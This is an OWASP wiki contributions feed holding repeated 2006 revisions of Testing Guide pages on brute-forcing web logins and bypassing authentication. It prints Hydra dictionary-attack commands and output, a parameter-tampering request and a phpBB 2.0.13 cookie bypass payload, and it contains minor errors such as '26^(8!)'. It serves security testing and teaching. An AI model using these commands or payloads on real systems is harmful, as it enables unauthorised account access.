OWASP - User contributions [en]

Testing for Brute Force (OWASP-AT-004)

2006-11-11T16:44:14Z

Alombardini: /* References */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
Brute-forcing consists of systematically enumerating all possible candidates for the solution and checking whether each candidate satisfies the problem's statement. In web application testing, the problem we are going to face with the most is very often connected with the need of having a valid user account to access the inner part of the application.
Therefore we are going to check different types of authentication schema and the effectiveness of different brute-force attacks.
 

== Description of the Issue ==
 
A great majority of web applications provide a way for users to authenticate themselves. By having knowledge of user's identity it's possible to create protected areas or more generally, to have the application behave differently upon the logon of different users.
Actually there are several methods for a user to authenticate to a system like certificates, biometric devices, OTP (One Time Password) tokens, but in web application we usually find a combination of user ID and password. Therefore it's possible to carry out an attack to retrieve a valid user account and password, by trying to enumerate many (ex. dictionary attack) or the whole space of possible candidates.

After a successful bruteforce attack, a malicious user could have access to:

* Confidential information / data;
** Private sections of a web application, could disclose confidential documents, user's profile data, financial status, bank details, user's relationships, etc..

* Administration panels;
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc..

* Availability of further attack vectors;
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.

 

== Black Box testing and example ==
To leverage different bruteforcing attacks it's important to discover the type of authentication method used by the application, because the techniques and the tools to be used may change.

=== Discovery Authentication Methods ===

Unless an entity decides to apply a sophisticated web authentication, the two most commonly see methods are as follows:

* HTTP Authentication;
** Basic Access Authentication
** Digest Access Authentication
* HTML Form-based Authentication;

The following sections provide some good information on identifying the authentication mechanism employed during a blackbox test.

'''HTTP authentication'''

There are two native HTTP access authentication schemes available to an organisation – Basic and Digest.

* Basic Access Authentication

Basic Access Authentication assumes the client will identify themselves with a login name ("owasp") and password ("password"). When the client browser initially accesses a site using this scheme, the web server will reply with a 401 response containing a “WWW-Authenticate” tag containing a value of “Basic” and the name of the protected realm (e.g. WWW-Authenticate: Basic realm="wwwProtectedSite”). The client browser will then prompt the user for their login name and password for that realm. The client browser then responds to the web server with an “Authorization” tag, containing the value “Basic” and the base64-encoded concatenation of the login name, a colon, and the password (e.g. Authorization: Basic b3dhc3A6cGFzc3dvcmQ=). Unfortunately, the authentication reply can be easily decrypted should an attacker sniff the transmission.

Request and Response Test:

1. Client sends standard HTTP request for resource:
<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
</pre>

2. The web server states that the requested resource is located in a protected directory.

3. Server Sends Response with HTTP 401 Authorization Required:

<pre>
HTTP/1.1 401 Authorization Required
Date: Sat, 04 Nov 2006 12:52:40 GMT
WWW-Authenticate: Basic realm="User Realm"
Content-Length: 401
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
</pre>

4. Browser displays challenge pop-up for username and password data entry.

5. Client Resubmits HTTP Request with credentials included:

<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
Authorization: Basic b3dhc3A6cGFzc3dvcmQ=
</pre>

6. Server compares client information to its credentials list.

7. If the credentials are valid the server sends the requested content. If authorization fails the server resends HTTP status code 401 in the response header. If the user clicks Cancel the browser will likely display an error message.

<pre>
The string QWRtaW46Zm9vYmFy== symply base64 decodes as follows:
Base64 Decoded : owasp:password
</pre>

* Digest Access Authentication

Digest Access Authentication expands upon the security of Basic Access Authentication by using a one-way cryptographic hashing algorithm (MD5) to encrypt authentication data and, secondly, adding a single use (connection unique) “nonce” value set by the web server. This value is used by the client browser in the calculation of a hashed password response. While the password is obscured by the use of the cryptographic hashing and the use of the nonce value precludes the threat of a replay attack, the login name is submitted in clear text.

Request and Response Test:

1. Here is an example of the initial Response header when handling an HTTP Digest target:

<pre>
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="OwaspSample",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
opaque="0000000000000000", \
stale=false,
algorithm=MD5,
qop="auth"
</pre>

2. The Subsequent response headers with valid credentials would look like this:

<pre>
GET /example/owasp/test.asmx HTTP/1.1
Accept: */*
Authorization: Digest username="owasp",
realm="OwaspSample",
qop="auth",
algorithm="MD5",
uri="/example/owasp/test.asmx",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
nc=00000001,
cnonce="c51b5139556f939768f770dab8e5277a",
opaque="0000000000000000",
response="2275a9ca7b2dadf252afc79923cd3823"
</pre>

'''HTML Form-based Authentication'''

However, while both HTTP access authentication schemes may appear suitable for commercial use over the Internet, particularly when used over an SSL encrypted session, many organisations have chosen to utilise custom HTML and application level authentication procedures in order to provide a more sophisticated authentication procedure.

Source code taken from a HTML form:

<pre>
<form method="POST" action="login">
<input type="text" name"username">
<input type="password" name="password">
</form>
</pre>

=== Bruteforce Attacks ===

After having listed the different types of authentication methods in web application, we will explain several bruteforce attacks which can be carried out.

* Dictionary Attack
Dictionary-based attacks consist of automated scripts and tools that will try to guess username and passwords from a dictionary file. Dictionary file can be tuned and compiled to cover words probably used by the owner of the account a malicious user is going to attack.
The attacker can previously perform some investigations to understand user's interests, or build a list of all unique words available on the website.

* Search Attacks
Search attacks will try to cover all possible combination of a given character set and a given password lenght range. This kind of attack is very slow because the space of possible candidates is quite big. For example given a known user id, the total number of passwords to try up to 8 characters in lenght is equal to 26^(8!) in a lower alpha charset (more than 200 billions of different passwords!).

* Rule-based search attacks
To increase combination space coverage without slowing too much the process it's suggested to create good rules to generate candidates.
For example "John the Ripper" can generate password variations from part of the username or modify through a preconfigured mask words in input (e.g. 1st round "pen" --> 2nd round "p3n" --> 3rd round "p3np3n").

'''Bruteforcing HTTP Basic Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-head on port 80
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h
[80][www] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34

raven@blackbox /hydra $
</pre>

'''Bruteforcing HTML Form Based Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form
"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-post-form on port 443
[STATUS] attack finished for wiki.intranet (waiting for childs to finish)
[443] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34

raven@blackbox /hydra $
</pre>

== Gray Box testing and example ==
'''Partial knowledge of password and account details'''

When an attacker has some information about lenght or password (account) structure, it's possible to perform a bruteforce attack with a higher probability of success. Infact, limiting the number of characters and defining the password lenght, the total number of password values significantly decreases.

'''Memory Trade Off Attacks'''

To perform a Memory Trade Off Attack is needed at least a password hash previously obtained by the attacker exploiting flaws in the application (e.g. SQL Injection) or sniffing http traffic. Nowadays the most commond attacks of this kind are based on Rainbow Tables, a special type of lookup table used in recovering the plaintext password from a ciphertext generated by a one-way hash.

Rainbowtable is an optimization of Hellman's Memory Trade Off Attack, where the reduction algorithm is used to create chains with the purpose to compress the data output generated by computing all possible candidates.

<pre>Tables are specific to the hash function they were created for e.g., MD5 tables can only crack MD5 hashes.
The more powerful RainbowCrack program was later developed that can generate and use rainbow tables for a variety
of character sets and hashing algorithms, including LM hash, MD5, SHA1, etc.</pre>

 

== References ==

== References ==
'''Whitepapers''' 
* Philippe Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off - http://lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf
'''Links''' 
* OPHCRACK (the time-memory-trade-off-cracker) - http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/
* Rainbowcrack.com - http://www.rainbowcrack.com/
* Project RainbowCrack - http://www.antsight.com/zsl/rainbowcrack/
* milw0rm - http://www.milw0rm.com/cracker/list.php
'''Tools''' 
* THC Hydra: http://www.thc.org/thc-hydra/
* John the Ripper: http://www.openwall.com/john/
* Brutus http://www.hoobie.net/brutus/
 

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Brute Force (OWASP-AT-004)

2006-11-11T16:35:30Z

Alombardini: /* References */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
Brute-forcing consists of systematically enumerating all possible candidates for the solution and checking whether each candidate satisfies the problem's statement. In web application testing, the problem we are going to face with the most is very often connected with the need of having a valid user account to access the inner part of the application.
Therefore we are going to check different types of authentication schema and the effectiveness of different brute-force attacks.
 

== Description of the Issue ==
 
A great majority of web applications provide a way for users to authenticate themselves. By having knowledge of user's identity it's possible to create protected areas or more generally, to have the application behave differently upon the logon of different users.
Actually there are several methods for a user to authenticate to a system like certificates, biometric devices, OTP (One Time Password) tokens, but in web application we usually find a combination of user ID and password. Therefore it's possible to carry out an attack to retrieve a valid user account and password, by trying to enumerate many (ex. dictionary attack) or the whole space of possible candidates.

After a successful bruteforce attack, a malicious user could have access to:

* Confidential information / data;
** Private sections of a web application, could disclose confidential documents, user's profile data, financial status, bank details, user's relationships, etc..

* Administration panels;
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc..

* Availability of further attack vectors;
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.

 

== Black Box testing and example ==
To leverage different bruteforcing attacks it's important to discover the type of authentication method used by the application, because the techniques and the tools to be used may change.

=== Discovery Authentication Methods ===

Unless an entity decides to apply a sophisticated web authentication, the two most commonly see methods are as follows:

* HTTP Authentication;
** Basic Access Authentication
** Digest Access Authentication
* HTML Form-based Authentication;

The following sections provide some good information on identifying the authentication mechanism employed during a blackbox test.

'''HTTP authentication'''

There are two native HTTP access authentication schemes available to an organisation – Basic and Digest.

* Basic Access Authentication

Basic Access Authentication assumes the client will identify themselves with a login name ("owasp") and password ("password"). When the client browser initially accesses a site using this scheme, the web server will reply with a 401 response containing a “WWW-Authenticate” tag containing a value of “Basic” and the name of the protected realm (e.g. WWW-Authenticate: Basic realm="wwwProtectedSite”). The client browser will then prompt the user for their login name and password for that realm. The client browser then responds to the web server with an “Authorization” tag, containing the value “Basic” and the base64-encoded concatenation of the login name, a colon, and the password (e.g. Authorization: Basic b3dhc3A6cGFzc3dvcmQ=). Unfortunately, the authentication reply can be easily decrypted should an attacker sniff the transmission.

Request and Response Test:

1. Client sends standard HTTP request for resource:
<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
</pre>

2. The web server states that the requested resource is located in a protected directory.

3. Server Sends Response with HTTP 401 Authorization Required:

<pre>
HTTP/1.1 401 Authorization Required
Date: Sat, 04 Nov 2006 12:52:40 GMT
WWW-Authenticate: Basic realm="User Realm"
Content-Length: 401
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
</pre>

4. Browser displays challenge pop-up for username and password data entry.

5. Client Resubmits HTTP Request with credentials included:

<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
Authorization: Basic b3dhc3A6cGFzc3dvcmQ=
</pre>

6. Server compares client information to its credentials list.

7. If the credentials are valid the server sends the requested content. If authorization fails the server resends HTTP status code 401 in the response header. If the user clicks Cancel the browser will likely display an error message.

<pre>
The string QWRtaW46Zm9vYmFy== symply base64 decodes as follows:
Base64 Decoded : owasp:password
</pre>

* Digest Access Authentication

Digest Access Authentication expands upon the security of Basic Access Authentication by using a one-way cryptographic hashing algorithm (MD5) to encrypt authentication data and, secondly, adding a single use (connection unique) “nonce” value set by the web server. This value is used by the client browser in the calculation of a hashed password response. While the password is obscured by the use of the cryptographic hashing and the use of the nonce value precludes the threat of a replay attack, the login name is submitted in clear text.

Request and Response Test:

1. Here is an example of the initial Response header when handling an HTTP Digest target:

<pre>
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="OwaspSample",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
opaque="0000000000000000", \
stale=false,
algorithm=MD5,
qop="auth"
</pre>

2. The Subsequent response headers with valid credentials would look like this:

<pre>
GET /example/owasp/test.asmx HTTP/1.1
Accept: */*
Authorization: Digest username="owasp",
realm="OwaspSample",
qop="auth",
algorithm="MD5",
uri="/example/owasp/test.asmx",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
nc=00000001,
cnonce="c51b5139556f939768f770dab8e5277a",
opaque="0000000000000000",
response="2275a9ca7b2dadf252afc79923cd3823"
</pre>

'''HTML Form-based Authentication'''

However, while both HTTP access authentication schemes may appear suitable for commercial use over the Internet, particularly when used over an SSL encrypted session, many organisations have chosen to utilise custom HTML and application level authentication procedures in order to provide a more sophisticated authentication procedure.

Source code taken from a HTML form:

<pre>
<form method="POST" action="login">
<input type="text" name"username">
<input type="password" name="password">
</form>
</pre>

=== Bruteforce Attacks ===

After having listed the different types of authentication methods in web application, we will explain several bruteforce attacks which can be carried out.

* Dictionary Attack
Dictionary-based attacks consist of automated scripts and tools that will try to guess username and passwords from a dictionary file. Dictionary file can be tuned and compiled to cover words probably used by the owner of the account a malicious user is going to attack.
The attacker can previously perform some investigations to understand user's interests, or build a list of all unique words available on the website.

* Search Attacks
Search attacks will try to cover all possible combination of a given character set and a given password lenght range. This kind of attack is very slow because the space of possible candidates is quite big. For example given a known user id, the total number of passwords to try up to 8 characters in lenght is equal to 26^(8!) in a lower alpha charset (more than 200 billions of different passwords!).

* Rule-based search attacks
To increase combination space coverage without slowing too much the process it's suggested to create good rules to generate candidates.
For example "John the Ripper" can generate password variations from part of the username or modify through a preconfigured mask words in input (e.g. 1st round "pen" --> 2nd round "p3n" --> 3rd round "p3np3n").

'''Bruteforcing HTTP Basic Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-head on port 80
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h
[80][www] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34

raven@blackbox /hydra $
</pre>

'''Bruteforcing HTML Form Based Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form
"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-post-form on port 443
[STATUS] attack finished for wiki.intranet (waiting for childs to finish)
[443] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34

raven@blackbox /hydra $
</pre>

== Gray Box testing and example ==
TD - Having Partial knowledge of password and account details (e.g. lenght or charset)

TD - Memory Trade Off Attacks

 

== References ==
'''Whitepapers''' 
* OPHCRACK (the time-memory-trade-off-cracker) - http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/
* Rainbowcrack.com - http://www.rainbowcrack.com/
* Project RainbowCrack - http://www.antsight.com/zsl/rainbowcrack/
'''Tools''' 
* THC Hydra: http://www.thc.org/thc-hydra/
* John the Ripper: http://www.openwall.com/john/
* Brutus http://www.hoobie.net/brutus/

 

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Brute Force (OWASP-AT-004)

2006-11-11T16:25:41Z

Alombardini: /* References */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
Brute-forcing consists of systematically enumerating all possible candidates for the solution and checking whether each candidate satisfies the problem's statement. In web application testing, the problem we are going to face with the most is very often connected with the need of having a valid user account to access the inner part of the application.
Therefore we are going to check different types of authentication schema and the effectiveness of different brute-force attacks.
 

== Description of the Issue ==
 
A great majority of web applications provide a way for users to authenticate themselves. By having knowledge of user's identity it's possible to create protected areas or more generally, to have the application behave differently upon the logon of different users.
Actually there are several methods for a user to authenticate to a system like certificates, biometric devices, OTP (One Time Password) tokens, but in web application we usually find a combination of user ID and password. Therefore it's possible to carry out an attack to retrieve a valid user account and password, by trying to enumerate many (ex. dictionary attack) or the whole space of possible candidates.

After a successful bruteforce attack, a malicious user could have access to:

* Confidential information / data;
** Private sections of a web application, could disclose confidential documents, user's profile data, financial status, bank details, user's relationships, etc..

* Administration panels;
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc..

* Availability of further attack vectors;
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.

 

== Black Box testing and example ==
To leverage different bruteforcing attacks it's important to discover the type of authentication method used by the application, because the techniques and the tools to be used may change.

=== Discovery Authentication Methods ===

Unless an entity decides to apply a sophisticated web authentication, the two most commonly see methods are as follows:

* HTTP Authentication;
** Basic Access Authentication
** Digest Access Authentication
* HTML Form-based Authentication;

The following sections provide some good information on identifying the authentication mechanism employed during a blackbox test.

'''HTTP authentication'''

There are two native HTTP access authentication schemes available to an organisation – Basic and Digest.

* Basic Access Authentication

Basic Access Authentication assumes the client will identify themselves with a login name ("owasp") and password ("password"). When the client browser initially accesses a site using this scheme, the web server will reply with a 401 response containing a “WWW-Authenticate” tag containing a value of “Basic” and the name of the protected realm (e.g. WWW-Authenticate: Basic realm="wwwProtectedSite”). The client browser will then prompt the user for their login name and password for that realm. The client browser then responds to the web server with an “Authorization” tag, containing the value “Basic” and the base64-encoded concatenation of the login name, a colon, and the password (e.g. Authorization: Basic b3dhc3A6cGFzc3dvcmQ=). Unfortunately, the authentication reply can be easily decrypted should an attacker sniff the transmission.

Request and Response Test:

1. Client sends standard HTTP request for resource:
<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
</pre>

2. The web server states that the requested resource is located in a protected directory.

3. Server Sends Response with HTTP 401 Authorization Required:

<pre>
HTTP/1.1 401 Authorization Required
Date: Sat, 04 Nov 2006 12:52:40 GMT
WWW-Authenticate: Basic realm="User Realm"
Content-Length: 401
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
</pre>

4. Browser displays challenge pop-up for username and password data entry.

5. Client Resubmits HTTP Request with credentials included:

<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
Authorization: Basic b3dhc3A6cGFzc3dvcmQ=
</pre>

6. Server compares client information to its credentials list.

7. If the credentials are valid the server sends the requested content. If authorization fails the server resends HTTP status code 401 in the response header. If the user clicks Cancel the browser will likely display an error message.

<pre>
The string QWRtaW46Zm9vYmFy== symply base64 decodes as follows:
Base64 Decoded : owasp:password
</pre>

* Digest Access Authentication

Digest Access Authentication expands upon the security of Basic Access Authentication by using a one-way cryptographic hashing algorithm (MD5) to encrypt authentication data and, secondly, adding a single use (connection unique) “nonce” value set by the web server. This value is used by the client browser in the calculation of a hashed password response. While the password is obscured by the use of the cryptographic hashing and the use of the nonce value precludes the threat of a replay attack, the login name is submitted in clear text.

Request and Response Test:

1. Here is an example of the initial Response header when handling an HTTP Digest target:

<pre>
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="OwaspSample",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
opaque="0000000000000000", \
stale=false,
algorithm=MD5,
qop="auth"
</pre>

2. The Subsequent response headers with valid credentials would look like this:

<pre>
GET /example/owasp/test.asmx HTTP/1.1
Accept: */*
Authorization: Digest username="owasp",
realm="OwaspSample",
qop="auth",
algorithm="MD5",
uri="/example/owasp/test.asmx",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
nc=00000001,
cnonce="c51b5139556f939768f770dab8e5277a",
opaque="0000000000000000",
response="2275a9ca7b2dadf252afc79923cd3823"
</pre>

'''HTML Form-based Authentication'''

However, while both HTTP access authentication schemes may appear suitable for commercial use over the Internet, particularly when used over an SSL encrypted session, many organisations have chosen to utilise custom HTML and application level authentication procedures in order to provide a more sophisticated authentication procedure.

Source code taken from a HTML form:

<pre>
<form method="POST" action="login">
<input type="text" name"username">
<input type="password" name="password">
</form>
</pre>

=== Bruteforce Attacks ===

After having listed the different types of authentication methods in web application, we will explain several bruteforce attacks which can be carried out.

* Dictionary Attack
Dictionary-based attacks consist of automated scripts and tools that will try to guess username and passwords from a dictionary file. Dictionary file can be tuned and compiled to cover words probably used by the owner of the account a malicious user is going to attack.
The attacker can previously perform some investigations to understand user's interests, or build a list of all unique words available on the website.

* Search Attacks
Search attacks will try to cover all possible combination of a given character set and a given password lenght range. This kind of attack is very slow because the space of possible candidates is quite big. For example given a known user id, the total number of passwords to try up to 8 characters in lenght is equal to 26^(8!) in a lower alpha charset (more than 200 billions of different passwords!).

* Rule-based search attacks
To increase combination space coverage without slowing too much the process it's suggested to create good rules to generate candidates.
For example "John the Ripper" can generate password variations from part of the username or modify through a preconfigured mask words in input (e.g. 1st round "pen" --> 2nd round "p3n" --> 3rd round "p3np3n").

'''Bruteforcing HTTP Basic Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-head on port 80
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h
[80][www] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34

raven@blackbox /hydra $
</pre>

'''Bruteforcing HTML Form Based Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form
"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-post-form on port 443
[STATUS] attack finished for wiki.intranet (waiting for childs to finish)
[443] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34

raven@blackbox /hydra $
</pre>

== Gray Box testing and example ==
TD - Having Partial knowledge of password and account details (e.g. lenght or charset)

TD - Memory Trade Off Attacks

 

== References ==
'''Whitepapers''' 

'''Tools''' 
* THC Hydra: http://www.thc.org/thc-hydra/
* John the Ripper: http://www.openwall.com/john/
* Brutus http://www.hoobie.net/brutus/

 

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:52:32Z

Alombardini: /* References */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level.

Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==

Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase.

Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more.

'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language.

In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.
 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Sql Injection

 
'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session ID Prediction'''

Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''

SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
In the case an attacker has been able to retrieve the application source code by exploiting a previosly discovered vulnerability (e.g. directory traversal), or from a web repository (Open Source Applications), could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 unserialize() function parse user supplied cookie and set values inside $row array. At line 10 user md5 password hash stored inside the backend database is compared to the one supplied.

<pre>1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }</pre>

In PHP a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so supplying the following string (important part is "b:1") to the userialize() function is possible to bypass the authentication control:

<pre>a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}</pre>
 

== References ==
'''Whitepapers''' 
 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:52:06Z

Alombardini: /* Black Box testing and example */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level.

Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==

Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase.

Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more.

'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language.

In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.
 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Sql Injection

 
'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session ID Prediction'''

